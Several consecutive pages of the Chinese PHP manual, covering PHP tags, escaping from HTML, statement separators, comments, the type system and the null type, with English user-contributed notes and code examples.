在 Windows 下运行 PHP 时，可以用 Windows 注册表以目录为单位来修改配置。配置值存放于注册表项 HKLM\SOFTWARE\PHP\Per Directory Values 下面，子项对应于路径名。例如对于目录 c:\inetpub\wwwroot 的配置值会存放于 HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot 项下面。其中的设定对于任何位于此目录及其任何子目录的脚本都有效。项中的值的名称是 PHP 配置指令的名字，值的数据是字符串格式的指令值。值中的 PHP 常量不被解析。不过只有可修改范围是 PHP_INI_USER 的配置值可以用此方法设定，PHP_INI_PERDIR 的值就不行。因为这些配置对于每次请求来说是只读的。

其它接口下的 PHP

无论怎样运行 PHP，都可以在脚本中通过 ini_set() 而在运行时修改某个值。更多信息见手册中 ini_set() 的页面。

如果对自己系统中的配置设定及其当前值的完整列表感兴趣，可以运行
phpinfo() 函数并查看其结果的页面。也可以在运行时用
ini_get() 或
get_cfg_var() 取得个别配置指令的值。

User Contributed Notes

self at pabloviquez dot com 14-Jun-2009 06:07
Note that, changing the PHP configuration via the windows registry will set the new values using php_admin_value. This makes that you cannot override them on runtime.

So for example, if you set the include_path on the windows registry and then you call the set_include_path function in your application, it will return false and won't change the include_path.
contrees.du.reve at gmail dot com 02-Feb-2008 05:25
Being able to put php directives in httpd.conf and have them work on a per-directory or per-vitual host basis is just great. Now there's another aspect which might be worth being aware of:

A php.ini directive put into your apache conf file applies to php when it runs as an apache module (i.e. in a web page), but NOT when it runs as CLI (command-line interface).

Such feature that might be unwanted by an unhappy few, but I guess most will find it useful. As far as I'm concerned, I'm really happy that I can use open_basedir in my httpd.conf file, and it restricts the access of web users and sub-admins  of my domain, but it does NOT restrict my own command-line php scripts...


语言参考

  • 基本语法
    • PHP 标记
    • 从 HTML 中分离
    • 指令分隔符
    • 注释
  • 类型
    • 简介
    • 类型系统
    • NULL
    • Boolean 布尔类型
    • Integer 整型
    • Float 浮点型
    • String 字符串
    • 数字字符串
    • Array 数组
    • Object 对象
    • Enum 枚举
    • Resource 资源类型
    • Callback / Callable 类型
    • Mixed
    • Void
    • Never
    • 相对类类型
    • Value 类型
    • Iterable 可迭代对象
    • 类型声明
    • 类型转换
  • 变量
    • 基础
    • 预定义变量
    • 变量范围
    • 可变变量
    • 来自 PHP 之外的变量
  • 常量
    • 语法
    • 预定义常量
    • 魔术常量
  • 表达式
  • 运算符
    • 运算符优先级
    • 算术运算符
    • 递增／递减运算符
    • 赋值运算符
    • 位运算符
    • 比较运算符
    • 错误控制运算符
    • 执行运算符
    • 逻辑运算符
    • 字符串运算符
    • 数组运算符
    • 类型运算符
  • 流程控制
    • 简介
    • if
    • else
    • elseif/else if
    • 流程控制的替代语法
    • while
    • do-while
    • for
    • foreach
    • break
    • continue
    • switch
    • match
    • declare
    • return
    • require
    • include
    • require_once
    • include_once
    • goto
  • 函数
    • 用户自定义函数
    • 函数的参数
    • 返回值
    • 可变函数
    • 内部（内置）函数
    • 匿名函数
    • 箭头函数
    • First class callable syntax
  • 类与对象
    • 简介
    • 基本概念
    • 属性
    • 类常量
    • 类的自动加载
    • 构造函数和析构函数
    • 访问控制（可见性）
    • 对象继承
    • 范围解析操作符 （::）
    • 静态（static）关键字
    • 抽象类
    • 对象接口
    • Trait
    • 匿名类
    • 重载
    • 遍历对象
    • 魔术方法
    • Final 关键字
    • 对象复制
    • 对象比较
    • 后期静态绑定
    • 对象和引用
    • 对象序列化
    • 协变与逆变
    • OOP 变更日志
  • 命名空间
    • 命名空间概述
    • 定义命名空间
    • 定义子命名空间
    • 在同一个文件中定义多个命名空间
    • 使用命名空间：基础
    • 命名空间和动态语言特征
    • namespace 关键字和 __NAMESPACE__ 常量
    • 使用命名空间：别名/导入
    • 全局空间
    • 使用命名空间：后备全局函数/常量
    • 名称解析规则
    • FAQ：命名空间必知必会
  • 枚举
    • 枚举概览
    • 枚举基础
    • 回退（Backed）枚举
    • 枚举方法
    • 枚举静态方法
    • 枚举常量
    • Trait
    • 常量表达式的枚举值
    • 和对象的差异
    • 枚举值清单
    • 序列化
    • 为什么枚举不可扩展
    • 示例
  • 错误
    • 基础概要
    • PHP 7 错误处理
  • 异常
    • 扩展（extend）异常处理类
  • 纤程
  • 生成器
    • 生成器总览
    • 生成器语法
    • 生成器与 Iterator 对象的比较
  • 注解
    • 注解概览
    • 注解语法
    • 使用反射 API 读取注解
    • 声明注解类
  • 引用的解释
    • 引用是什么
    • 引用做什么
    • 引用不是什么
    • 引用传递
    • 引用返回
    • 取消引用
    • 引用定位
  • 预定义变量
    • 超全局变量 — 在全部作用域中始终可用的内置变量
    • $GLOBALS — 引用全局作用域中可用的全部变量
    • $_SERVER — 服务器和执行环境信息
    • $_GET — HTTP GET 变量
    • $_POST — HTTP POST 变量
    • $_FILES — HTTP 文件上传变量
    • $_REQUEST — HTTP Request 变量
    • $_SESSION — Session 变量
    • $_ENV — 环境变量
    • $_COOKIE — HTTP Cookies
    • $php_errormsg — 前一个错误信息
    • $http_response_header — HTTP 响应头
    • $argc — 传递给脚本的参数数目
    • $argv — 传递给脚本的参数数组
  • 预定义异常
    • Exception
    • ErrorException
    • Error
    • ArgumentCountError
    • ArithmeticError
    • AssertionError
    • DivisionByZeroError
    • CompileError
    • ParseError
    • TypeError
    • ValueError
    • UnhandledMatchError
    • FiberError
  • 预定义接口和类
    • Traversable — Traversable （遍历）接口
    • Iterator — Iterator（迭代器）接口
    • IteratorAggregate — IteratorAggregate（聚合式迭代器）接口
    • InternalIterator — The InternalIterator class
    • Throwable
    • ArrayAccess — ArrayAccess（数组式访问）接口
    • Serializable — Serializable 接口
    • Closure — Closure 类
    • stdClass — stdClass 类
    • Generator — 生成器类
    • Fiber — 纤程（Fiber）类
    • WeakReference — WeakReference 类
    • WeakMap — WeakMap 类
    • Stringable — Stringable 接口
    • UnitEnum — UnitEnum 接口
    • BackedEnum — BackedEnum 接口
    • SensitiveParameterValue — The SensitiveParameterValue class
  • 预定义注解
    • AllowDynamicProperties — AllowDynamicProperties 类
    • ReturnTypeWillChange — ReturnTypeWillChange 类
    • SensitiveParameter — SensitiveParameter 类
  • 上下文（Context）选项和参数
    • 套接字上下文选项 — 套接字上下文选项列表
    • HTTP context 选项 — HTTP context 的选项列表
    • FTP 上下文选项 — FTP 上下文选项列表
    • SSL 上下文选项 — SSL 上下文选项清单
    • Phar 上下文（context）选项 — Phar 上下文（context）选项列表
    • Context 参数 — Context 参数列表
    • Zip 上下文选项 — Zip 上下文选项列表
    • Zlib 上下文选项 — Zlib 上下文选项列表
  • 支持的协议和封装协议
    • file:// — 访问本地文件系统
    • http:// — 访问 HTTP(s) 网址
    • ftp:// — 访问 FTP(s) URLs
    • php:// — 访问各个输入/输出流（I/O streams）
    • zlib:// — 压缩流
    • data:// — 数据（RFC 2397）
    • glob:// — 查找匹配的文件路径模式
    • phar:// — PHP 归档
    • ssh2:// — 安全外壳协议 2
    • rar:// — RAR
    • ogg:// — 音频流
    • expect:// — 处理交互式的流

User Contributed Notes

There are no user contributed notes for this page.


基本语法

Table of Contents

  • PHP 标记
  • 从 HTML 中分离
  • 指令分隔符
  • 注释

User Contributed Notes

There are no user contributed notes for this page.


PHP 标记

当解析一个文件时，PHP 会寻找起始和结束标记，也就是 <?php 和 ?>，这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去，而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。

PHP 有一个 echo 标记简写 <?=， 它是更完整的 <?php echo 的简写形式。

Example #1 PHP 开始和结束标记

1. <?php echo 'if you want to serve PHP code in XHTML or XML documents,
use these tags'; ?>

2. You can use the short echo tag to <?= 'print this string' ?>.
It's equivalent to <?php echo 'print this string' ?>.

3. <? echo 'this code is within short tags, but will only work '.
'if short_open_tag is enabled'; ?>

短标记 (第三个例子) 是被默认开启的，但是也可以通过 short_open_tag php.ini 来直接禁用。如果 PHP 在被安装时使用了 --disable-short-tags 的配置，该功能则是被默认禁用的。

Note:

因为短标记可以被禁用，所以建议使用普通标记 (<?php ?> 和 <?= ?>) 来最大化兼容性。

如果文件内容仅仅包含 PHP 代码，最好在文件末尾删除 PHP 结束标记。这可以避免在 PHP 结束标记之后万一意外加入了空格或者换行符，会导致 PHP 开始输出这些空白，而脚本中此时并无输出的意图。

<?php
echo "Hello world";

// ... 更多代码

echo "Last statement";

// 脚本在此处结束，没有 PHP 结束标记

User Contributed Notes

irfan dot swen at gmail dot com 22-Feb-2023 04:44
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>PHP Language</h1>
    <?php echo "1) PHP Special Syntax Code"; ?><br>

    <?= "2) PHP Special Syntax Code"; ?><br>

    <!-- Not Working-->  <? "3) PHP Special Syntax Code" ?>
</body>
</html>


从 HTML 中分离

凡是在一对开始和结束标记之外的内容都会被 PHP 解析器忽略，这使得 PHP 文件可以具备混合内容。 可以使 PHP 嵌入到 HTML 文档中去，如下例所示。

<p>This is going to be ignored by PHP and displayed by the browser.</p>
<?php echo 'While this is going to be parsed.'; ?>
<p>This will also be ignored by PHP and displayed by the browser.</p>
这将如预期中的运行，因为当 PHP 解释器碰到 ?> 结束标记时就简单地将其后内容原样输出（除非马上紧接换行 - 见 指令分隔符）直到碰到下一个开始标记；例外是处于条件语句中间时，此时 PHP 解释器会根据条件判断来决定哪些输出，哪些跳过。见下例。

使用条件结构：

Example #1 使用条件的高级分离术

<?php if ($expression == true): ?>
 This will show if the expression is true.
<?php else: ?>
 Otherwise this will show.
<?php endif; ?>
上例中 PHP 将跳过条件语句未达成的段落，即使该段落位于 PHP 开始和结束标记之外。由于 PHP 解释器会在条件未达成时直接跳过该段条件语句块，因此 PHP 会根据条件来忽略之。

要输出大段文本时，跳出 PHP 解析模式通常比将文本通过 echo 或 print 输出更有效率。

Note:

此外注意如果将 PHP 嵌入到 XML 或 XHTML 中则需要使用 <?php ?> 标记以保持符合标准。

User Contributed Notes

gazianis005 at gmail dot com 31-Mar-2023 01:18
There are two types of escaping from HTML.
1.Normal escaping of using  outside of a pair of opening and closing tag
2.Advance escaping of  using conditions.

Example of normal escaping

<p>This is  going to be ignored by the php parser and displayed by the browser</p>
<?php echo 'This is going to be parsed';?>
<>This will also ignored by the php parser and displayed by the browser</>

Example of  advanced escaping

<?php if($expression == true): ?>
This will show if expression is true
<?php else : ?>
Otherwise  this will show
<?php endif ;?>
bryanrojasq.wordpress.com 15-Feb-2022 10:39
Example for a basic implementation of ternary operator to validate and print a class in the layout.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= $page_title ?></title>
</head>
<body <?= strtolower($page_slug) === 'homepage' ? 'class="page-homepage"' : ''; ?>>
    <section>
        <h1><?= $page_title ?></h1>
        <p>This is a paragraph.</p>
    </section>
</body>
</html>
Anonymous 14-Jan-2021 01:10
Since it's not documented (AFAICT) and it might cause confusion: a single line break immediately after ?> is ignored. Since whitespace is hard to see, whitespace is replaced with _ and the following code

<?php echo '1'; ?>
<?php echo '2'; ?>_
<?php echo '3'; ?>
_<?php echo '4'; ?>_<?php echo '5'; ?>

will produce

12_
3_4_5
anisgazig.com 12-Sep-2020 11:26
<p>This is ignore by the php parser and displayed by the browser </p>

 <?php echo "While this is going to be parsed"; ?>

 <?php

when php interpreter hits the closing tag it start to outputing everything whatever it finds until it hit another opening tag.If php interpreter find a conditional statement in the middle of a block then php interpreter decided which block skip

 Advanced escaping using conditions

  <?php $a = 10; if($a<100): ?>
  This conditional block is executed
  <?php else: ?>
      otherwise this will be executed
      <?php endif; ?>

In php 5 version,there are 5 opening and closing tags.
1.<?php echo "standard long form php tag and if you use xml with php this tag will be use";?>

2.<?= "short echo tag and alwayes available from 5.4.0";?>

3.<? echo "short open tag which is available if short_open_tag is enable in php ini configuration file directive or php was configured with --enable-short-tags.This tag has discoursed from php 7.If you want to use xml with php,then short_open_tag in php ini will be disabled";?>

4.<script language="php">
echo "Some editor do not like processing the code within this tag and this tag is removed from php 7.0.0 version";

</script>

5.<% echo "asp style tag and asp_tags should be enabled but now php 7.0.0 version,this tag is removed";%>
davidhcefx 05-Sep-2020 07:15
When the PHP interpreter hits the ?> closing tags, it WON'T output right away if it's inside of a conditional statement:
(no matter if it's an Alternative Syntax or not)

<html>
<?php
$a = 1;
$b = 2;
if ($a === 1) {
    if ($b == 2) {
        ?><head></head><?php
    } else {
        ?><body></body><?php
    }
}
?>
</html>

This would output `<html><head></head></html>`.
Aside from conditional statements, the PHP interpreter also skip over functions! What a surprise!

<html>
<?php
function show($a) {
    ?>
    <a href="https://www.<?php echo $a ?>.com">
    Link
    </a>
    <?php
}
?>
<body>
    <?php show("google") ?>
</body>
</html>

This gives `<html><body><a href="https://www.google.com">Link</a></body></html>`.
These really confused me, because at first I thought it would output any HTML code right away, except for Alternative Syntaxes (https://www.php.net/manual/en/control-structures.alternative-syntax.php). There are more strange cases than I thought.
anisgazig at gmail dot com 22-Sep-2019 06:57
Version of  7.0.0,3 tags are available in php.
1.long form tag (<?php ?>)
2.short echo tag(<?= ?>)
3.short_open_tag(? ?)
You can use short_open_tag when you start xml with php.
Emil Cataranciuc 19-Apr-2018 08:30
"<script language="php"> </script>, are always available." since PHP 7.0.0 is no longer true. These are removed along the ASP "<%, %>, <%=" tags.
sgurukrupa at gmail dot com 10-Mar-2014 07:01
Although not specifically pointed out in the main text, escaping from HTML also applies to other control statements:

<?php for ($i = 0; $i < 5; ++$i): ?>
Hello, there!
<?php endfor; ?>

When the above code snippet is executed we get the following output:

Hello, there!
Hello, there!
Hello, there!
Hello, there!
mike at clove dot com 30-Nov-2010 10:30
It's possible to write code to create php escapes which can be processed later by substituting \x3f for '?' - as in echo "<\x3fphp echo 'foo'; \x3f>";

This is useful for creating a template parser which later is rendered by PHP.
quickfur at quickfur dot ath dot cx 26-Jul-2010 02:40
When the documentation says that the PHP parser ignores everything outside the <?php ... ?> tags, it means literally EVERYTHING. Including things you normally wouldn't consider "valid", such as the following:

<html><body>
<p<?php if ($highlight): ?> class="highlight"<?php endif;?>>This is a paragraph.</p>
</body></html>

Notice how the PHP code is embedded in the middle of an HTML opening tag. The PHP parser doesn't care that it's in the middle of an opening tag, and doesn't require that it be closed. It also doesn't care that after the closing ?> tag is the end of the HTML opening tag. So, if $highlight is true, then the output will be:

<html><body>
<p class="highlight">This is a paragraph.</p>
</body></html>

Otherwise, it will be:

<html><body>
<p>This is a paragraph.</p>
</body></html>

Using this method, you can have HTML tags with optional attributes, depending on some PHP condition. Extremely flexible and useful!
snor_007 at hotmail dot com 01-Apr-2010 04:28
Playing around with different open and close tags I discovered you can actually mix different style open/close tags

some examples

<%
//your php code here
?>

or

<script language="php">
//php code here
%>
ravenswd at gmail dot com 01-Aug-2009 05:08
One aspect of PHP that you need to be careful of, is that ?> will drop you out of PHP code and into HTML even if it appears inside a // comment. (This does not apply to /* */ comments.) This can lead to unexpected results. For example, take this line:

<?php
  $file_contents  = '<?php die(); ?>' . "\n";
?>

If you try to remove it by turning it into a comment, you get this:

<?php
//  $file_contents  = '<?php die(); ?>' . "\n";
?>

Which results in ' . "\n"; (and whatever is in the lines following it) to be output to your HTML page.

The cure is to either comment it out using /* */ tags, or re-write the line as:

<?php
  $file_contents  = '<' . '?php die(); ?' . '>' . "\n";
?>


指令分隔符

同 C 或 Perl 一样，PHP 需要在每个语句后用分号结束指令。一段 PHP 代码中的结束标记隐含表示了一个分号；在一个 PHP 代码段中的最后一行可以不用分号结束。如果后面还有新行，则代码段的结束标记包含了行结束。

Example #1 包含末尾换行符的结束标记的例子

<?php echo "Some text"; ?>
No newline
<?= "But newline now" ?>

以上示例会输出：

Some textNo newline
But newline now

进入和退出 PHP 解析的例子：

<?php
echo 'This is a test';
?>

<?php echo 'This is a test' ?>

<?php echo 'We omitted the last closing tag';

Note:

文件末尾的 PHP 代码段结束标记可以不要，有些情况下当使用 include 或者 require 时省略掉会更好些，这样不期望的空白符就不会出现在文件末尾，之后仍然可以输出响应标头。在使用输出缓冲时也很便利，就不会看到由包含文件生成的不期望的空白符。

User Contributed Notes

M1001 12-Jun-2022 02:18
You are also able to write more than one statement in one line, just separating with a semicolon, example:

<?php
echo "a"; echo "b"; echo "c";
#The output will be "abc" with no errors
?>
anisgazig at gmail dot com 12-Sep-2020 04:57
At the end of each statement,we will use a semicolon to seperate each statement.Php closing tag autometically implies a semiclon.So last line of a statment do not require a statement.

<?php echo "first statement";
      echo "second statement"
?>

Closing tag is optional and some cases omitting the closing tag is very helpful.
1.using include or require function
2.unwanted whitespace will not occur at the end of file
3.add header any time

<?php echo "omitting closing tag";
Krishna Srikanth 17-Aug-2006 04:44
Do not mis interpret

<?php echo 'Ending tag excluded';

with

<?php echo 'Ending tag excluded';
<p>But html is still visible</p>

The second one would give error. Exclude ?> if you no more html to write after the code.


注释

PHP 支持 C，C++ 和 Unix Shell 风格（Perl 风格）的注释。例如:

<?php
echo 'This is a test'; // 这是单行 c++ 样式注释
/* 这是一条多行注释
另一行也是注释 */
echo 'This is yet another test';
echo 'One Final Test'; # 这是单行 shell 风格的注释
?>

单行注释仅仅注释到行末或者当前的 PHP 代码块，视乎哪个首先出现。这意味着在 // ... ?> 或者 # ... ?> 之后的 HTML 代码将被显示出来：?> 跳出了 PHP 模式并返回了 HTML 模式，// 或 # 并不能影响到这一点。

<h1>This is an <?php # echo 'simple';?> example</h1>
<p>The header above will say 'This is an example'.</p>

C 风格的注释在碰到第一个 */ 时结束。要确保不要嵌套 C 风格的注释。试图注释掉一大块代码时很容易出现该错误。

<?php
/*
echo 'This is a test'; /* 这个注释会引发问题 */
*/
?>

User Contributed Notes

aetonsi 21-Dec-2022 12:51
As of php 8, single line comments starting exactly with "#[" have a special meaning: they are treated as "attributes", and they must respect the expected syntax. See: https://www.php.net/manual/en/language.attributes.php

So the following code throws an error in php 8+, while it is perfectly valid in php <8:
<?php
#[~~my super cool comment~~~]
?>

To be safe, just always use "//" comments instead of "#". Maybe in the future there will be other special meanings for the "#" comments, who knows.
anisgazig at gmail dot com 15-Sep-2020 07:17
In php there are 3 types of comments
1.single line c++ style comment(//)
2.single line Unix shell stype comment(#)
3.multi line c style comment(/*/)

single or multi line comment comes to the end of the line or come first to the current block of php code.

HTML code will be printed after //...?> or #...?>
closing tag breaks the php mode and return to html mode.

different comments in different tags:
===================================
<H1>Standard tag: <?php //echo " standard tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:single line c++ style comment'</p>

<H1>Standard tag: <?php # echo " standard tag"; ?>single line unix shell style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:single line unix shell style comment'</p>

<H1>Standard tag: <?php /*echo " standard tag"; */?>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:multi line c style comment'</p>

  <H1>short echo tag: <?= // " short echo tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

  <H1>short echo tag: <?= #  " short echo tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

  <H1>short echo tag: <?= /*echo " short echo tag"*/ ; ?>multiple  line c style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

<H1>Short tag: <? //echo " short tag";?>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:single line c++ style comment'</p>

  <H1>Short tag: <? #echo " short tag";?>single line unix shell style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:single line unix shell style comment'</p>

   <H1>Short tag: <? /* echo " short tag";*/?>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:multi line c style comment'</p>

    <H1>Script tag: <script language="php"> // echo " script tag";</script>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Script tag:single line c++ style comment'</p>

    <H1>Script tag: <script language="php"> /* echo " script tag";*/</script>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Script tag:multi line c style comment'</p>

    <H1>Script tag: <script language="php"> # echo " script tag";</script>single line unix shell style comment</H1>
<p>The header above will not break php mode </p>
J. Prettyman 13-Feb-2014 05:55
Notes can come in all sorts of shapes and sizes. They vary, and their uses are completely up to the person writing the code. However, I try to keep things consistent in my code that way it's easy for the next person to read. So something like this might help...

<?php

//======================================================================
// CATEGORY LARGE FONT
//======================================================================

//-----------------------------------------------------
// Sub-Category Smaller Font
//-----------------------------------------------------

/* Title Here Notice the First Letters are Capitalized */

# Option 1
# Option 2
# Option 3

/*
 * This is a detailed explanation
 * of something that should require
 * several paragraphs of information.
 */

// This is a single line quote.
?>
magnesium dot oxide dot play+php at gmail dot com 10-Oct-2013 10:02
It is worth mentioning that, HTML comments have no meaning in PHP parser. So,

<!-- comment
<?php echo some_function(); ?>
-->

WILL execute some_function() and echo result inside HTML comment.
jballard at natoga dot com 15-Dec-2010 02:28
Comments do NOT take up processing power.

So, for all the people who argue that comments are undesired because they take up processing power now have no reason to comment ;)

<?php

// Control
echo microtime(), "<br />"; // 0.25163600 1292450508
echo microtime(), "<br />"; // 0.25186000 1292450508

// Test
echo microtime(), "<br />"; // 0.25189700 1292450508
# TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST
# .. Above comment repeated 18809 times ..
echo microtime(), "<br />"; // 0.25192100 1292450508

?>

They take up about the same amount of time (about meaning on a repeated testing, sometimes the difference between the control and the test was negative and sometimes positive).
Wolfsbay at ya dot ru 12-May-2010 02:10
If you are using editor with code highlight, it's much easier to notice error like /* */ */.
theblazingangel at aol dot com 28-Aug-2007 03:55
it's perhaps not obvious to some, but the following code will cause a parse error! the ?> in //?> is not treated as commented text, this is a result of having to handle code on one line such as <?php echo 'something'; //comment ?>

<?php
if(1==1)
{
    //?>
}
?>

i discovered this "anomally" when i commented out a line of code containing a regex which itself contained ?>, with the // style comment.
e.g. //preg_match('/^(?>c|b)at$/', 'cat', $matches);
will cause an error while commented! using /**/ style comments provides a solution. i don't know about # style comments, i don't ever personally use them.
fun at nybbles dot com 13-Jul-2006 10:28
a trick I have used in all languages to temporarily block out large sections (usually for test/debug/new-feature purposes), is to set (or define) a var at the top, and use that to conditionally comment the blocks; an added benefit over if(0) (samuli's comment from nov'05) is that u can have several versions or tests running at once, and u dont require cleanup later if u want to keep the blocks in:  just reset the var.

personally, I use this more to conditionally include code for new feature testing, than to block it out,,,, but hey, to each their own :)

this is also the only safe way I know of to easily nest comments in any language, and great for multi-file use, if the conditional variables are placed in an include :)

for example, placed at top of file:

<?php $ver3 = TRUE;
       $debug2 = FALSE;
?>

and then deeper inside the file:

<?php if ($ver3) {
           print("This code is included since we are testing version 3");
         }
?>

<?php if ($debug2) {
           print("This code is 'commented' out");
         }
?>
J Lee 25-May-2006 11:39
MSpreij (8-May-2005) says  /* .. */ overrides //
Anonymous (26-Jan-2006) says // overrides /* .. */

Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached.

Thus, if a comment is opened with:
   //  then /* and */ are "overridden" until after end-of-line
   /*  then // is "overridden" until after */
hcderaad at wanadoo dot nl 29-Jun-2005 01:51
Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/).

Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example:
<?php
/**
* The second * here opens the DocBook commentblock, which could later on<br>
* in your development cycle save you a lot of time by preventing you having to rewrite<br>
* major documentation parts to generate some usable form of documentation.
*/
?>
Some basic html-like formatting is supported with this (ie <br> tags) to create something of a layout.
M Spreij 08-May-2005 12:15
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
<?php
//*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>

Now by taking out one / on the first line..

<?php
/*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>
..the block is suddenly commented out.
This works because a /* .. */ overrides //. You can even "flip" two blocks, like this:
<?php
//*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
vs
<?php
/*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
Steve 15-Dec-2004 04:41
Be careful when commenting out regular expressions.

E.g. the following causes a parser error.

I do prefer using # as regexp delimiter anyway so it won't hurt me ;-)

<?php

/*

 $f->setPattern('/^\d.*/');

*/

?>


类型

Table of Contents

  • 简介
  • 类型系统
  • NULL
  • Boolean 布尔类型
  • Integer 整型
  • Float 浮点型
  • String 字符串
  • 数字字符串
  • Array 数组
  • Object 对象
  • Enum 枚举
  • Resource 资源类型
  • Callback / Callable 类型
  • Mixed
  • Void
  • Never
  • 相对类类型
  • Value 类型
  • Iterable 可迭代对象
  • 类型声明
  • 类型转换

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 中的每个表达式都属于以下某个内置类型，具体取决于值：

  • null
  • bool
  • int
  • float （浮点数）
  • string
  • array
  • object
  • callable
  • resource

PHP 是动态类型语言，这意味着默认不需要指定变量的类型，因为会在运行时确定。然而，可以通过使用类型声明对语言的一些方面进行类型静态化。

类型限制了可以对其执行的操作。然而，如果使用的表达式/变量不支持该操作，PHP 将尝试将该值类型转换为操作支持的类型。此过程取决于使用该值的上下文。更多信息参阅类型转换。

Tip

类型比较表也很有用，因为存在不同类型之间的值的各种比较示例。

Note: 使用类型转换，强制将表达式的值转换为某种类型。还可以使用 settype() 函数就地对变量进行类型转换。

使用 var_dump() 函数检查表达式的值和类型。使用 get_debug_type() 检索表达式的值和类型。使用 is_type 检查表达式是否属于某种类型。

$a_bool = true; // a bool
$a_str = "foo"; // a string
$a_str2 = 'foo'; // a string
$an_int = 12; // an int
echo get_debug_type($a_bool), "\n";
echo get_debug_type($a_str), "\n";

// 如果是整型，就加上 4
if (is_int($an_int)) {
$an_int += 4;
}
var_dump($an_int);

// 如果 $a_bool 是字符串，就打印出来
if (is_string($a_bool)) {
echo "String: $a_bool";
}
?>

以上示例在 PHP 8 中的输出：

bool
string
int(16)

Note: PHP 8.0.0 之前，get_debug_type() 无效，可以使用 gettype() 函数代替。但是没有使用规范的类型名称。

User Contributed Notes

There are no user contributed notes for this page.


类型系统

PHP uses a nominal type system with a strong behavioral subtyping relation. The subtyping relation is checked at compile time whereas the verification of types is dynamically checked at run time.

PHP 的类型系统支持各种原子类型，可以组合在一起创建更加复杂的类型。其中一些类型可以写成类型声明。

原子类型

一些原子类型是内置类型，跟语言紧密集成，不能用用户定义类型重现（reproduced）。

基础类型列表是：

  • 内置类型
    • null 类型
    • 标量类型：
      • bool 类型
      • int 类型
      • float 类型
      • string 类型
    • array 类型
    • object 类型
    • resource 类型
    • never 类型
    • void 类型
    • 相对类类型：self、parent 和 static
  • Value 类型
    • false
    • true
  • 用户定义的类型（通常称为类类型）
    • 接口
    • 类
    • 枚举
  • callable 类型

复合类型

可以将多个原子类型组合为复合类型。PHP 允许使用以下方式组合类型：

  • 类类型（接口和类名）的交集。
  • 类型联合。

交集类型

交集类型接受满足多个类类型声明的值，而不是单个值。交集类型中的每个类型由 & 符号连接。因此，类型 T、U 和 V 组成的交集类型将写成 T&U&V。

联合类型

联合类型接受多个不同类型的值，而不是单个类型。联合类型中的每个类型由 | 符号连接。因此类型 T、U 和 V 的联合类型写成 T|U|V。如果其中一种类型是交集类型，需要使用括号括起来，在 DNF 中写成：T|(X&Y)。

类型别名

PHP 支持两种类型别名：mixed 和 iterable，分别对应 object|resource|array|string|float|int|bool|null 和 Traversable|array 的 联合类型。

Note: PHP 不支持用户定义类型别名。

User Contributed Notes

There are no user contributed notes for this page.


NULL

null 类型是 PHP 的原子类型（unit type），也就是说，它仅有一个值 null。

未定义和 unset() 的变量都将解析为值 null。

语法

null 类型只有一个值，就是不区分大小写的常量 null。

<?php
$var = NULL;
?>

转换到 null

Warning

本特性自 PHP 7.2.0 起废弃，并且自 PHP 8.0.0 起被移除。 强烈建议不要使用本特性。

使用 (unset) $var 将一个变量转换为 null 将不会删除该变量或 unset 其值。仅是返回 null 值而已。

参见

  • is_null()
  • unset()

User Contributed Notes

elayachi2022karim at gmail dot com 16-Dec-2023 12:03
<?php

// Note : Empty strings and arrays return true when compared to null using the non-strict equality operator == .

var_export( [] == null ); // <== return true
echo "\n";
var_export( "" == null ); // <== return true
echo "\n";

// the correct way is to use strict equal ===

echo ( [] === null);
echo "\n";
echo ( "" === null);
echo "\n";

/* Alternatively, the is_null() function can be used to explicitly check if a value is null.
In this case, is_null("") and is_null([]) will both return false. */

echo (is_null(""));
echo "\n";
echo (is_null([]));
echo "\n";
mattias at kregert dot se 22-Jul-2021 07:57
Note that NULL works like a magic object with any attribute you can name, but they are all NULL:

foreach ( [ null, null ] as $person ) {
  $friends[] = [ 'Name'=>$person['name'], 'Phone'=>$person['cell'] ];
}

print_r($friends);

Array
(
    [0] => Array
        (
            [Name] =>
            [Phone] =>
        )

    [1] => Array
        (
            [Name] =>
            [Phone] =>
        )

)

This means that:
* NULL == NULL['foo']['bar']['whatever']

This can be slightly confusing if you accidentally slip a NULL into an array of other items.
hydrogen at live dot in 10-Apr-2021 03:39
I would like to add for clarification that:

$x=NULL;

--$x;
// $x is still NULL.
// Decrementing NULL, using Decrement Operator, gives NULL.

$x-=1;
// $x is now int(-1).
// This actually decrements value by 1.

On the other hand, Incrementation works simply as expected.
Hope this helps :)
Mojo 10-Feb-2021 10:18
Pay attention then using operator -- on NULL values:

$x = null;
--$x;      // $x is NULL
$x--;      // still NULL
$x -= 1;   // $x is -1

On other side for ++ everything works fine:

$x = null;
